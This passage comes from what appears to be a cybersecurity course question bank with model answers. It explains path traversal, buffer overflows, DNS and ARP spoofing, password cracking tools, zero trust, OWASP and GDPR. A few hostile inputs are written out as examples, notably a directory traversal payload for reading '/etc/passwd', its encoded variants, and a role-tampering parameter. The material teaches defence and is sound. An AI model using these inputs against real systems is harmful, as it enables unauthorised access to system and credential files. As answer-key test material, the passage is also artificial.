- (3) Privilege escalation via parameter tampering: An application uses a client-controlled parameter to determine the user's role (e.g., a hidden form field or URL parameter like `role=user`). An attacker modifies it to `role=admin`. The fix: never trust client-supplied role or privilege values — derive permissions entirely from server-side session state.

Why server-side enforcement is mandatory: The client (browser) is controlled by the user and can be modified with browser developer tools, proxies (Burp Suite), or direct HTTP requests. Any access control logic that relies on client-side checks — hiding buttons, disabling fields, JavaScript validation — can be trivially bypassed. Authorisation decisions must be made and enforced on the server, per request, regardless of what the client claims.

Q364: What is a directory traversal (path traversal) vulnerability? Give an example and explain the defence.

Model Answer:

A directory traversal vulnerability occurs when an application allows user-controlled input to specify a file path, and the application fails to prevent the input from navigating outside the intended directory using sequences like `../` (parent directory navigation).

Example: A web application serves files with the URL `/download?file=report.pdf`. The server builds the path as `/var/app/files/ + user_input`. If the attacker submits `file=../../../../etc/passwd`, the resulting path becomes `/var/app/files/../../../../etc/passwd`, which resolves to `/etc/passwd` — a sensitive system file outside the application directory. The attacker can read any file readable by the web server process.

Impact: Reading configuration files with database credentials, SSH private keys, application source code, `/etc/shadow` on Linux. On writable paths, writing malicious files (web shells). Severity depends on what files

the application process can access.

Defence: (1) Avoid passing user input as file paths at all — use indirect references (map filenames to allowed values in a server-side lookup table). (2) If file paths from user input are required, canonicalise the path (resolve all ../ sequences) and then verify that the canonical path begins with the expected allowed directory before opening the file. (3) Run the web application as a low-privilege user with filesystem access limited to only what it needs. (4) Use allowlist validation — only permit characters and patterns known to be safe for filenames. Blacklisting ../ is fragile (URL-encoded variants: %2e%2e%2f, %252e%252e%2f).

Q365: What is the MITRE ATT&CK; framework? Explain the Tactics-Techniques-Sub-techniques hierarchy. How does it complement STRIDE in threat modeling?

Model Answer:

MITRE ATT&CK; (Adversarial Tactics, Techniques, and Common Knowledge) is a knowledge base of real-world adversary behavior, compiled from observed attacks across many environments. It organises attacker activity into a matrix of Tactics (the strategic goals) and Techniques (the specific methods used to achieve each goal).

Tactics represent the 'why' — the adversary's objective at a given stage: Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, Impact. There are 14 tactics in the Enterprise matrix.

Techniques represent the 'how' — a specific method an adversary uses to accomplish a tactic. Each technique has a T-number (e.g., T1566 — Phishing). Sub-techniques provide more specific variants (T1566.001 — Spearphishing Attachment, T1566.002 — Spearphishing Link).

How it complements STRIDE in threat modeling: STRIDE provides a systematic categorisation of threat types (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege) applied to system components. It is excellent for architectural threat analysis. ATT&CK; complements this by providing real-world attacker behaviour patterns with named techniques, mapped to detection opportunities and mitigations. Where STRIDE asks 'what category of threat could affect this component?', ATT&CK; asks 'how would a real attacker actually execute this?'. Together: STRIDE for design-time architectural analysis; ATT&CK; for operationalising detection rules, red team planning, and threat-hunting hypotheses against known adversary patterns.

Q366: What is a buffer overflow vulnerability? Explain the stack-based variant. How does EternalBlue (CVE-2017-0144) relate to this class of vulnerability?

Model Answer:

A buffer overflow occurs when a program writes data into a fixed-size memory buffer without sufficient bounds checking, writing beyond the buffer's allocated boundary into adjacent memory regions. The overwritten memory may contain other data, control structures, or return addresses that govern program execution.

Stack-based buffer overflow: In C-style code, function call state (local variables, saved registers, the return address) is stored on the stack. If a local buffer on the stack receives more data than it can hold (e.g., gets() or strcpy() without length checking), the overflow can overwrite the function's return address. An attacker crafts input so the overwritten return address points to attacker-controlled shellcode, redirecting execution

when the function returns. This was the mechanism behind the Morris Worm (fingerd buffer overflow) and countless historic exploits.

EternalBlue (CVE-2017-0144): This vulnerability exploits a buffer overflow in Windows' SMBv1 implementation. When the SMB server processes a specially crafted transaction request, a kernel pool buffer is overflowed, overwriting adjacent kernel memory. The exploit carefully constructs the overflow to redirect kernel execution flow to attacker shellcode. Because the SMB service runs in kernel mode, the resulting code execution is at the NT AUTHORITY\SYSTEM privilege level — the highest on Windows. It requires no authentication and is network-accessible, making it wormable (WannaCry and NotPetya used it to self-propagate).

Modern mitigations: ASLR (Address Space Layout Randomisation — randomises memory addresses making return-address prediction harder), DEP/NX (Data Execution Prevention — marks the stack as non-executable), stack canaries (values placed before the return address that are checked for corruption before function return), and bounds-checking language features. EternalBlue bypasses these through precise kernel-level manipulation.

Q367: Explain rainbow tables. How do salts defeat them? What is the difference between a salt and a pepper?

Model Answer:

Rainbow tables are precomputed lookup structures mapping password hashes back to their original plaintexts. Instead of brute-forcing each hash individually (computationally expensive), an attacker builds the table once and then looks up any hash in near-constant time. A table for MD5 hashes of all alphanumeric passwords up to 8 characters can be hundreds of gigabytes but provides near-instant cracking for matching hashes.

How salts defeat rainbow tables: A salt is a random value unique to each user's password, generated at registration and stored alongside the hash. The hash is computed as $H(\text{salt} + \text{password})$. Since every user has a different salt, the attacker cannot use a precomputed table — they would need a separate rainbow table for every possible salt value, which is computationally infeasible. Even two users with the same password produce different hashes because their salts differ. Salts do not increase the work for brute-forcing a single hash, but they eliminate the reuse benefit of precomputed tables.

Difference between salt and pepper: A salt is unique per password and is stored in the database alongside the hash — it must be known to verify the password later. A pepper is a secret value added to all passwords before hashing (e.g., $H(\text{pepper} + \text{salt} + \text{password})$), stored separately from the database (e.g., in a hardware security module or environment variable). If the database is breached, the attacker cannot crack hashes without also obtaining the pepper. The pepper provides an additional secret that must be separately compromised. Trade-off: if the pepper is lost, all stored passwords become unverifiable — pepper management is operationally complex.

Best practice: use a purpose-built, slow, salted password hashing function — bcrypt, scrypt, or Argon2id. These incorporate salts automatically and have a configurable work factor that scales with hardware improvements.

Q368: What is John the Ripper and how does it differ from Hydra? For what scenarios is each appropriate?

Model Answer:

John the Ripper (john) is an offline password cracking tool. It operates on extracted password hashes — it does not interact with any live service. Given a file of hashed passwords, it applies cracking modes: dictionary attacks (test words from a wordlist), rule-based mutations (capitalise first letter, append numbers), incremental brute force (try all character combinations), and hash-format-specific optimisations.

Hydra is an online password brute-force tool. It attacks live authentication services by submitting credentials over network protocols — SSH, FTP, HTTP forms, SMB, RDP, MySQL, and many others. It requires network connectivity to the target service.

Appropriate scenarios:

John the Ripper is appropriate when: password hashes have been extracted from a compromised system (e.g., /etc/shadow on Linux, SAM database on Windows, database dump). It can work at speeds of millions or billions of hashes per second depending on hardware and hash type. No live service is required and no network traffic is generated.

Hydra is appropriate when: testing a live service for weak credentials (authorised only), validating that accounts are not accessible with default or common passwords, testing an application's rate limiting and lockout policies. It generates real authentication requests, which are logged and may trigger lockout mechanisms.

Key ethical boundary: both require explicit written authorisation. John used on a live target's credentials without authorisation is handling stolen data. Hydra run against a live service without authorisation constitutes an unauthorised access attempt. In the lab context, both are used against controlled intentionally vulnerable targets (Metasploitable) within the defined lab scope.

Q369: What is DNS (Domain Name System)? Describe a DNS spoofing/cache poisoning attack and how DNSSEC mitigates it.

Model Answer:

DNS translates human-readable domain names (www.example.com) into IP addresses that computers use to route connections. Queries follow a hierarchical resolution chain: recursive resolver -> root nameserver -> TLD nameserver (.com) -> authoritative nameserver for the domain -> returns the IP address. The resolver caches responses according to their TTL (Time To Live) value to reduce repeat lookups.

DNS cache poisoning attack: A DNS cache poisoning attack injects fraudulent DNS records into a resolver's cache. Classic mechanism: (1) Attacker triggers a DNS query for a target domain. (2) Before the legitimate response arrives, attacker floods the resolver with forged responses claiming to be from the authoritative nameserver, guessing the 16-bit transaction ID used to match query to response. (3) If a forged response is accepted before the legitimate one, the resolver caches the fraudulent IP address. (4) All clients using that resolver are directed to the attacker's server for the domain, enabling phishing, credential theft, or traffic interception. The Kaminsky attack (2008) demonstrated how this could be exploited rapidly by querying random subdomains to trigger many cache updates.

DNSSEC (DNS Security Extensions): DNSSEC adds cryptographic signatures to DNS records. Each DNS zone signs its records with a private key; resolvers verify the signatures using published public keys. A forged response cannot produce a valid signature matching the zone's known public key, so the resolver rejects it.

Limitation of DNSSEC: It validates authenticity of DNS records but does not encrypt DNS traffic (DNS over HTTPS / DoH or DNS over TLS / DoT provide confidentiality). DNSSEC deployment is incomplete — many

zones are not signed.

Q370: What is ARP and how does ARP spoofing enable a man-in-the-middle attack on a local network?

Model Answer:

ARP (Address Resolution Protocol) maps IP addresses to MAC addresses on a local network segment. When host A wants to communicate with host B (same subnet), it broadcasts an ARP request: 'Who has IP 192.168.1.5? Tell 192.168.1.1.' Host B replies with its MAC address. Host A caches this mapping in its ARP table and sends Ethernet frames directly to B's MAC address.

ARP spoofing attack: ARP has no authentication — any host can send an ARP reply claiming any IP-to-MAC mapping. An attacker sends unsolicited ARP replies to host A claiming: 'IP 192.168.1.1 (the gateway) is at MY MAC address.' Simultaneously, they send ARP replies to the gateway claiming: 'IP 192.168.1.5 (host A) is at MY MAC address.' Both A and the gateway update their ARP caches with the attacker's MAC address for each other.

Result — MITM: All traffic between A and the gateway now flows through the attacker's machine. The attacker can: (1) Forward traffic transparently while reading it (passive interception — captures cleartext HTTP, unencrypted credentials). (2) Modify traffic in transit. (3) Drop traffic selectively (denial of service). (4) Inject content into unencrypted connections.

Why TLS mitigates this: HTTPS with proper certificate validation creates an encrypted channel authenticated by the server's certificate. Even if ARP spoofing redirects traffic, the attacker cannot present a valid certificate for the real server (without a CA key compromise or the victim accepting a warning). Intercepted HTTPS traffic appears as ciphertext. However, ARP spoofing combined with SSLstrip (downgrading HTTPS to HTTP) or HSTS bypass can still threaten targets that do not enforce HTTPS.

Detection and mitigation: Dynamic ARP Inspection (DAI) on managed switches validates ARP replies against a DHCP snooping binding table. Static ARP entries for critical hosts. Monitoring for duplicate MAC-IP mappings.

Q371: Describe the concept of log management in a security context. What four properties must logs have to be useful for incident response, and what makes log data a potential privacy risk?

Model Answer:

Log management is the collection, storage, protection, and analysis of log data generated by systems, applications, network devices, and security controls. Logs are the primary evidence source for detecting incidents, investigating breaches, and demonstrating compliance.

Four properties logs must have for incident response:

- (1) Completeness: Critical events must be logged — authentication successes and failures, privilege changes, access to sensitive resources, configuration changes, network connection attempts, process creation. Logs that omit key events leave investigators unable to reconstruct what happened.
- (2) Integrity: Logs must be protected against modification or deletion by compromised systems or insiders. Store logs on separate, write-only infrastructure (syslog server, SIEM) that the originating systems cannot modify. An attacker who can delete logs can erase evidence of their activity.

(3) Timeliness and retention: Logs must be retained long enough to support investigations — breaches are often not detected for weeks or months. Insufficient retention means evidence has already been deleted by normal rotation. Retention periods must balance security needs against storage costs and data protection obligations.

(4) Timestamp accuracy: All logs must use synchronised, accurate timestamps (NTP). If a web server log shows 14:03:22 and a database log shows 14:03:07 for the same event due to clock skew, correlation becomes unreliable.

Privacy risk: Logs capture personal data — IP addresses (potentially identifying), usernames, accessed URLs, search terms, and actions taken. Excessive log retention violates GDPR storage limitation (Article 5(1)(e)). Logs with personal data must have: a defined purpose, documented retention schedule, restricted access, and handling consistent with data minimisation. Logging everything forever for 'security reasons' is not proportionate and creates its own privacy risk.

Q372: What is threat hunting? How does it differ from passive monitoring/SIEM alerting, and what skills does it require?

Model Answer:

Threat hunting is a proactive, human-led investigation process that assumes a breach may already have occurred (or is in progress) and actively searches for evidence of attacker activity that automated detection has not flagged. Unlike passive monitoring — which waits for alerts to fire — threat hunting generates hypotheses about possible attacker presence and actively investigates them.

Difference from SIEM alerting: SIEM alerting is reactive — rules fire when observed events match known patterns. It detects known threats reliably and at scale but misses novel techniques, low-and-slow attacks, and behaviours that do not match existing rules. Threat hunting is proactive — a human analyst reasons about how an attacker might behave (often guided by ATT&CK; techniques) and searches for subtle indicators: unusual process trees, unexpected lateral connections, abnormal data volumes, certificate anomalies. Hunting finds what rules do not cover.

The cycle: (1) Develop a hypothesis — 'If an attacker has established persistence via scheduled tasks, what would that look like in our data?' (2) Investigate — query logs, EDR telemetry, and network data for the hypothesised pattern. (3) Discover or disprove — either find evidence leading to an incident response, or confirm the hypothesis is not supported in the current data. (4) Improve — if a hunt finds nothing, turn the hypothesis into a detection rule so future occurrences are caught automatically.

Required skills: proficiency with data querying (SIEM query languages, SQL, Splunk SPL), understanding of attacker techniques (ATT&CK;), knowledge of what 'normal' looks like in the environment (requires established baselining), ability to reason adversarially, and experience with endpoint forensics and network analysis.

Q373: What is physical security and why is it a prerequisite for cybersecurity? Give three physical attack scenarios and their mitigations.

Model Answer:

Physical security encompasses the controls that prevent unauthorised physical access to systems, infrastructure, and information. It is a prerequisite because all logical security controls can be bypassed with sufficient physical access — full disk encryption is defeated if the attacker can remove and clone a drive

before booting, authentication is bypassed if an attacker can boot from external media, and network controls are irrelevant if an attacker can plug directly into network hardware.

Three physical attack scenarios:

(1) Tailgating/piggybacking: An attacker follows an authorised employee through an access-controlled door without presenting their own credential — exploiting social reluctance to challenge strangers and the habit of holding doors. Mitigates: mantraps (airlock-style double-door entry where only one door opens at a time), enforced badge-in-every-time culture, security awareness training on challenging unfamiliar individuals politely, and security cameras with active monitoring.

(2) USB drop attack: An attacker leaves malicious USB devices in a car park or reception area, relying on curious employees to plug them in. The device presents itself as a keyboard (HID attack) and immediately types commands, or auto-runs malware. Mitigates: technical controls blocking USB mass storage and HID devices via endpoint management, policy prohibiting personal media in secure areas, and awareness training explaining the risk.

(3) Shoulder surfing: An attacker observes a user entering credentials, reading sensitive data on a screen, or entering a PIN at an ATM. Mitigates: privacy screens on laptops and workstations, screen positioning policies (screens not visible from public areas), locked-screen policies when stepping away, and awareness of surroundings when handling sensitive information.

Q374: What is the difference between active and passive vulnerability assessment? When is each appropriate and what are the risks of aggressive scanning?

Model Answer:

Passive vulnerability assessment: Analyses network traffic, configuration files, and asset inventories without sending probes to target systems. Techniques include: capturing and analysing existing traffic (banner information from observed connections), reviewing configuration baselines against hardening standards, checking version numbers from asset management data against CVE databases. No risk of disruption because no new traffic is sent.

Active vulnerability assessment: Sends probes to target systems to discover open ports, identify service versions, and test for specific vulnerabilities. Ranges from gentle service enumeration to authenticated system-level scanning. Generates observable traffic on the target.

When each is appropriate: Passive is most suitable when availability is critical (production systems that cannot tolerate disruption), when a lightweight initial survey is needed, or for continuous background monitoring. Active scanning is required for thorough vulnerability identification — version detection, configuration checks, and specific vulnerability tests cannot be done passively.

Risks of aggressive scanning: (1) Service disruption: Some vulnerability checks involve sending malformed or boundary-testing inputs that may crash fragile services. Intrusive NSE scripts or deep authenticated scanning can destabilise legacy or poorly resourced systems. (2) Network congestion: High-rate parallel scanning consumes bandwidth and may disrupt time-sensitive operations. (3) Triggering IDS/IPS: Aggressive scanning may trigger automated blocking rules, locking out the scanner's IP and disrupting legitimate activity. (4) Alert fatigue: Extensive scanning generates many logs; defenders may become desensitised to scan traffic, masking real attacker activity. (5) Scope creep: Aggressive scanning may inadvertently reach out-of-scope systems through routing or discovery mechanisms.

Mitigation: agree on scanning windows, start with gentle discovery and escalate methodically, test aggressive checks on isolated copies first, maintain communication with system owners.

Q375: What is IPsec? Compare it to TLS and explain the two IPsec modes (Transport and Tunnel).

Model Answer:

IPsec (Internet Protocol Security) is a suite of protocols that provides security at the network layer (Layer 3) by authenticating and encrypting IP packets. Unlike TLS (which operates at Layer 4/5 and protects specific application-layer connections), IPsec protects all IP traffic between endpoints transparently to applications.

Transport mode: Only the IP payload (the transport-layer segment and above) is encrypted and/or authenticated. The original IP header is preserved. Both endpoints must be the source and destination of the protected traffic. Typically used for host-to-host communication where both endpoints participate directly in the IPsec tunnel.

Tunnel mode: The entire original IP packet (header + payload) is encapsulated inside a new IP packet. A new outer IP header is added. The original source and destination addresses are hidden within the encrypted inner packet. Typically used for VPN gateways — traffic from an internal network is tunnelled through a VPN gateway to another gateway, protecting it across untrusted infrastructure. The original host IP addresses are only visible after decryption.

Comparison with TLS: TLS protects a specific application connection — HTTPS for web, SMTPS for email, etc. Applications must be TLS-aware. IPsec protects all IP traffic between endpoints regardless of application — a transparent layer below the application. TLS is simpler to deploy for specific services; IPsec provides network-layer protection for all services between endpoints. Both are used in practice: TLS for application-layer confidentiality, IPsec for site-to-site VPN tunnels and network-layer protection. Key IPsec components: IKE (Internet Key Exchange — manages key negotiation), AH (Authentication Header — integrity/authentication without encryption), ESP (Encapsulating Security Payload — confidentiality, integrity, authentication).

Q376: What is a man-in-the-middle (MITM) attack? Describe how TLS certificate validation prevents it. What is SSL stripping?

Model Answer:

A man-in-the-middle attack occurs when an attacker positions themselves between two communicating parties — intercepting, and potentially reading or modifying traffic — while both parties believe they are communicating directly with each other. MITM enables eavesdropping, credential theft, session hijacking, and content injection.

How TLS certificate validation prevents MITM: When a client connects to a TLS server, the server presents a certificate asserting its identity. The client verifies: (1) The certificate is signed by a trusted CA (chain of trust). (2) The certificate's Common Name or Subject Alternative Name matches the hostname being connected to. (3) The certificate has not expired. (4) The certificate has not been revoked. If an attacker intercepts the connection and presents their own certificate, the client sees an untrusted certificate — either signed by an untrusted CA or with a mismatching hostname — and displays a warning or refuses to connect. An attacker cannot forge a valid certificate for a domain they don't control without compromising a CA.

SSL stripping: An attack where an attacker downgrades an HTTPS connection to HTTP by: (1) Positioning themselves as a MITM (via ARP spoofing, rogue access point). (2) Intercepting the client's initial HTTP request before the redirect to HTTPS occurs. (3) Making the HTTPS connection to the server on behalf of the client while serving the client a plain HTTP version of the page. The user sees HTTP (no padlock) but may not notice or may proceed. The attacker sees all cleartext traffic.

HSTS (HTTP Strict Transport Security): Mitigates SSLstrip by instructing browsers to always use HTTPS for a domain for a specified period (and potentially forever for preloaded domains). Once a browser has seen a HSTS header for a domain, it will refuse HTTP connections and upgrade automatically. SSLstrip fails because the browser sends HTTPS directly, not HTTP first.

Q377: What is the concept of privacy by default (Article 25 GDPR)? How does it differ from privacy by design, and give three concrete engineering examples.

Model Answer:

Privacy by design: The principle that privacy protections are built into the system architecture from the beginning, rather than added later as an afterthought. Privacy is a design requirement from the first specification, not a feature added post-deployment.

Privacy by default: A more specific requirement within Article 25 — by default, when a user has not actively made a privacy choice, the system must apply the settings most protective of their privacy. Only the minimum personal data necessary for the stated purpose should be processed by default, and data should not be accessible to an unlimited number of people by default without the user actively choosing a less restrictive setting.

Key distinction: Privacy by design concerns HOW the system is built (architecture, engineering choices). Privacy by default concerns WHAT the initial settings are when a user has not expressed a preference — specifically that the default state must be the most privacy-preserving one.

Three engineering examples:

(1) Social media profile visibility: The default setting for a new user's profile must be 'private' or 'friends only' — not publicly visible. If the user wants public visibility, they must actively choose it. Opt-in to data sharing, not opt-out.

(2) Analytics and tracking: A new user must have tracking, analytics, and personalisation cookies disabled by default. The consent banner must default to 'no consent' — all optional checkboxes unchecked. Pre-checked boxes for non-essential processing do not constitute valid consent under GDPR.

(3) Data retention: The default retention period in the system must be the minimum justified by the stated purpose. Data must not be kept indefinitely by default because storage is cheap. Deleting data when the purpose is fulfilled should be the automatic default, not an opt-in configuration.

Q378: What is the difference between data protection by design (DPbD) and a security-by-design (SbD) approach? Where do they overlap and where do they diverge?

Model Answer:

Security-by-design: Addresses CIA triad goals — preventing unauthorised access, modification, or denial of systems and data. Asks: who can reach this data? Can it be modified without detection? Can the service be disrupted? Applies to all data — personal, corporate, technical — and to system availability, not only information. Primary lens: confidentiality, integrity, availability.

Data protection by design (Article 25 GDPR): Addresses personal data specifically — the collection, use, storage, sharing, and deletion of information about natural persons. Asks: should this personal data be collected at all? For how long? For what purpose? Can individuals exercise their rights over it? Is there a lawful basis? Primary lens: necessity, proportionality, purpose limitation, data subject rights, lawful basis, and accountability.

Where they overlap: Both require encryption to protect data at rest and in transit. Both require access controls. Both require secure development practices. Both require incident detection and response. Both benefit from threat modeling and security assessment. Implementing both simultaneously is not conflicting — they are complementary.

Where they diverge: Security-by-design may legitimately recommend extensive logging for forensic and detection purposes. Data protection by design requires that logging is limited to what is necessary and that personal data in logs is minimised and retained only as long as justified. Security may favour retaining data for incident investigation; data protection requires limiting retention. Security protects the system from external threats; data protection also protects individuals from the system itself — from excessive collection, unlawful processing, or unexplainable automated decisions even when the system is technically secure. A perfectly secure system that processes personal data unlawfully still violates GDPR.

Q379: What is threat modeling for APIs (Application Programming Interfaces)? What unique threats do APIs present that are not fully covered by traditional web application threat modeling?

Model Answer:

APIs expose application functionality programmatically, often with different authentication mechanisms, data serialisation formats, and consumer profiles than traditional web applications. Standard STRIDE analysis applies, but APIs present additional threat considerations:

Unique threats:

(1) Broken object-level authorisation (OWASP API Security A1): APIs expose operations directly on objects by ID. Without per-object authorisation checks, an attacker with any valid token can access or modify another user's objects by changing the ID in the request. This is IDOR at the API level and is extremely common.

(2) Broken function-level authorisation (OWASP API Security A5): APIs often have administrative endpoints accessible by any authenticated user if authorisation checks are missing. Unlike web UIs that hide admin buttons, API documentation or enumeration may reveal admin endpoints.

(3) Excessive data exposure: APIs commonly return full data objects and rely on client-side filtering to show only relevant fields. If the response includes fields the client is not supposed to see, any client (or attacker intercepting traffic) can read sensitive fields. Principle: return only what the caller is authorised to see, server-side.

(4) Mass assignment: Some frameworks automatically map all request parameters to model attributes. An attacker can inject additional fields (e.g., role, isAdmin, price) that the application processes unexpectedly. Fix: allowlist which fields are writable through each endpoint.

(5) Rate limiting and resource consumption: APIs serving machine clients can be called at extreme rates. Without rate limiting, they are vulnerable to brute force against auth endpoints, enumeration, and resource exhaustion without human-detectable patterns like form submissions.

(6) Security misconfiguration specific to APIs: Exposed API documentation (Swagger/OpenAPI) revealing all endpoints, HTTP methods, and parameter names; permissive CORS policies allowing cross-origin reads; debug endpoints enabled in production.

Q380: Explain the concept of homomorphic encryption. What operations does partially homomorphic encryption support, and how does fully homomorphic encryption (FHE) extend this?

Model Answer:

Homomorphic encryption allows computations to be performed directly on ciphertext, producing an encrypted result that, when decrypted, matches the result of performing the same operation on the plaintext. This means a third party can compute on sensitive data without ever seeing it in plaintext.

Partially homomorphic encryption (PHE): Supports only one type of operation (either addition or multiplication) an unlimited number of times. Example: RSA is multiplicatively homomorphic — $E(m1) * E(m2) = E(m1 * m2)$. El Gamal is also multiplicatively homomorphic. Paillier cryptosystem is additively homomorphic — $E(m1) * E(m2) = E(m1 + m2)$. PHE enables specific limited computations like summing encrypted salaries or multiplying encrypted values.

Somewhat homomorphic encryption (SHE): Supports both addition and multiplication but only up to a limited depth (circuit depth) before noise accumulates and decryption fails.

Fully homomorphic encryption (FHE): Supports arbitrary computations (any combination of additions and multiplications, any depth) on ciphertexts. Gentry's 2009 construction was the first viable FHE scheme. FHE uses a 'bootstrapping' operation to periodically reduce ciphertext noise, enabling unlimited computation depth.

Practical relevance: FHE would allow a cloud service to process encrypted medical records, run machine learning inference on encrypted data, or compute on financial data — without the cloud provider ever seeing plaintext. Current FHE is computationally expensive (orders of magnitude slower than plaintext computation), limiting practical deployment. Relationship to MPC: MPC distributes computation across multiple non-colluding servers; FHE allows computation on encrypted data by a single server. Some systems combine both to balance trust assumptions and performance.

Q381: What is digital forensics? Describe the chain of custody and explain why it matters in both legal proceedings and internal investigations.

Model Answer:

Digital forensics is the application of scientific methods to the identification, collection, preservation, examination, analysis, and presentation of digital evidence for use in legal proceedings or internal investigations. It aims to recover and present evidence in a manner that is reliable, reproducible, and legally admissible.

Chain of custody is a documented record of everyone who handled a piece of evidence, what they did with it, and when. For digital evidence, it documents: who collected the evidence, when and from where, what tools and methods were used, how the evidence was stored and secured, who had access to it and when, and every time the evidence changed hands.

Why it matters in legal proceedings: Courts require that evidence be authentic (it is what it claims to be), unaltered (it has not been modified since collection), and properly handled (there is no reasonable doubt

about its integrity). If the chain of custody is broken — if there is a period where evidence could have been modified without detection — a defence attorney can challenge its admissibility. Digital evidence that cannot be proven unaltered since collection may be excluded from trial.

Why it matters in internal investigations: Even without legal proceedings, accurate forensics requires trustworthy evidence. An investigation that cannot reliably attribute actions to specific accounts, timestamps, or systems may lead to incorrect conclusions — accusing the wrong person or missing the actual attacker's trail. A documented chain of custody enables the investigation to be audited, reviewed, or resumed if new information emerges.

Practical steps for digital forensic collection: create a bit-for-bit forensic image of storage media (not a file copy — preserves deleted data and unallocated space), verify image integrity with cryptographic hash (MD5/SHA-256) before and after to prove unaltered state, document every step with timestamps, store original evidence in tamper-evident bags with access logs, and analyse the image rather than the original.

Q382: What is a zero-trust architecture? How does it differ from the traditional perimeter-based security model, and what are its core principles?

Model Answer:

Traditional perimeter security ('castle-and-moat' model): Assumes that anything inside the corporate network is trusted and anything outside is untrusted. A strong perimeter (firewalls, VPN, network access controls) separates the trusted internal zone from the untrusted internet. Once inside the perimeter — whether as an employee, a VPN user, or an attacker who has breached the perimeter — traffic is largely unrestricted.

Problem: This model fails in modern environments where the perimeter has dissolved. Remote work, cloud services, mobile devices, SaaS applications, and supply-chain access mean that 'inside the network' is not a reliable trust indicator. A single compromised device with VPN access places an attacker inside the trusted zone.

Zero-trust architecture: Based on the principle 'never trust, always verify.' No entity — user, device, service, or network — is inherently trusted based on its network location. Trust must be explicitly and continuously evaluated for every access request.

Core principles:

- (1) Verify explicitly: Authenticate and authorise every request using all available context — identity, device health, location, time, sensitivity of the resource. Strong authentication (MFA) is required for all access.
- (2) Use least-privilege access: Grant minimum necessary permissions per request. Just-in-time access (time-limited privilege elevation rather than permanent admin rights), just-enough-access (narrowest scope possible).
- (3) Assume breach: Design as if the network is already compromised. Minimise blast radius through micro-segmentation. Encrypt all traffic. Maintain comprehensive logging for detection and investigation.
- (4) Continuous validation: Trust is not static. Re-evaluate access based on context changes — device compliance changes, unusual access patterns, access to higher-sensitivity resources require additional verification.

Implementation components: identity provider (IdP) with strong MFA, device management and health attestation, micro-segmentation replacing broad network zones, software-defined perimeter, policy engine evaluating all access requests, comprehensive logging.

Q383: What are the OWASP Top 10 (2021)? List all ten categories with a one-sentence description of each.

Model Answer:

The OWASP Top 10 is a consensus-based list of the ten most critical web application security risks, updated periodically based on real-world data from application security professionals.

A01 — Broken Access Control: Users can act outside their intended permissions — accessing others' data, performing privileged functions, or modifying access controls.

A02 — Cryptographic Failures: Sensitive data exposed due to missing or weak encryption — plaintext transmission, outdated algorithms, or poor key management.

A03 — Injection: Untrusted data interpreted as commands or queries — SQL injection, command injection, LDAP injection, and similar flaws where data and instructions are mixed.

A04 — Insecure Design: Security flaws resulting from missing or ineffective design-level controls — requirements that were never implemented rather than implementation bugs in correct designs.

A05 — Security Misconfiguration: Insecure default configurations, unnecessary features enabled, missing security hardening, permissive cloud storage, exposed stack traces.

A06 — Vulnerable and Outdated Components: Using components (libraries, frameworks, containers) with known vulnerabilities or without supported patches.

A07 — Identification and Authentication Failures: Weaknesses in authentication mechanisms — missing MFA, weak passwords, session fixation, credential exposure, broken session management.

A08 — Software and Data Integrity Failures: Assumptions about software updates and CI/CD pipelines without integrity verification — insecure deserialization, unverified supply chain artifacts.

A09 — Security Logging and Monitoring Failures: Insufficient logging, missing alerts, or unmonitored logs that allow breaches to remain undetected for extended periods.

A10 — Server-Side Request Forgery (SSRF): An application fetches a remote resource based on user-supplied URL without validation, allowing attackers to reach internal services or cloud metadata endpoints.

Q384: A developer says 'we use HTTPS so our application is secure.' Identify five security concerns not addressed by HTTPS alone.

Model Answer:

HTTPS (HTTP over TLS) provides confidentiality and integrity of data in transit between the browser and the server, and authenticates the server's identity via its certificate. These are important properties, but many critical security concerns exist entirely outside this scope.

Five concerns not addressed by HTTPS:

(1) Server-side vulnerabilities: SQL injection, command injection, broken access control, and logic flaws all occur after the encrypted connection is established. HTTPS does not prevent attacker-controlled data from exploiting server code. An attacker using HTTPS is equally able to send a malicious SQL payload as one using HTTP — the encryption just hides it from a third-party observer, not from the server.

(2) Authentication and access control: HTTPS authenticates the SERVER to the CLIENT (the server's certificate proves which server this is). It does not authenticate the user to the server, nor does it enforce what authenticated users are permitted to access. Broken access control is independent of transport encryption.

(3) Client-side vulnerabilities: XSS, CSRF, and DOM manipulation attacks occur within the browser after the HTTPS connection is decrypted. An XSS payload injected into the page runs in the victim's browser context — HTTPS does not prevent it.

(4) Data at rest: HTTPS protects data moving between client and server. Data stored in the database, filesystem, or backups is outside the TLS channel. A compromised server or database access bypasses HTTPS entirely.

(5) Secrets management and key handling: HTTPS requires a private key and certificate. If the server's private key is exposed, all past traffic (without forward secrecy) can be decrypted and the server can be impersonated. Certificate validity, key storage, and rotation are operational security requirements HTTPS creates but does not fulfil automatically.

Q385: Describe the concept of defence-in-depth applied to credential security. Name six independent controls that each provide partial protection for user credentials.

Model Answer:

Defence-in-depth for credential security means that no single control is relied upon exclusively — multiple independent layers protect against different attack vectors, so that bypassing one layer does not immediately enable full account compromise.

Six independent controls:

(1) Strong password hashing (bcrypt/Argon2id): Even if the credential database is stolen, attackers must invest significant computation per password rather than instantly reversing hashes. A slow, salted hash function makes offline cracking impractical for strong passwords.

(2) Multi-factor authentication (MFA): A stolen password alone is insufficient — the attacker also needs the second factor (TOTP, hardware key, push notification). Provides protection against credential stuffing, phishing-captured passwords, and database breaches.

(3) Breached-password screening: New passwords and password change requests are checked against databases of known-compromised passwords (e.g., HaveIBeenPwned API). Prevents users from adopting passwords that are already in attacker wordlists.

(4) Account lockout and rate limiting: Limits the rate of online brute-force attempts. After a threshold of failed attempts, accounts are temporarily locked or CAPTCHA challenges are required. Slows automated credential attacks even when MFA is not present.

(5) Anomaly-based authentication monitoring: Detects unusual login patterns — logins from new countries, impossible travel (login from Copenhagen at 09:00 and Singapore at 09:05), mass failed attempts, logins at unusual hours. Triggers additional verification or alerts for investigation.

(6) Least-privilege session management: Authenticated sessions are scoped to minimum necessary permissions, expire after inactivity, and are invalidated on password change or logout. Short-lived access tokens reduce the window of opportunity if a session token is stolen. Privilege escalation (admin operations) requires re-authentication even within an active session.

Q386: Describe the full vulnerability management lifecycle. What happens at each stage and why is retesting after remediation mandatory?

Model Answer:

The vulnerability management lifecycle is the continuous process of finding, prioritising, fixing, and verifying security weaknesses before attackers exploit them.

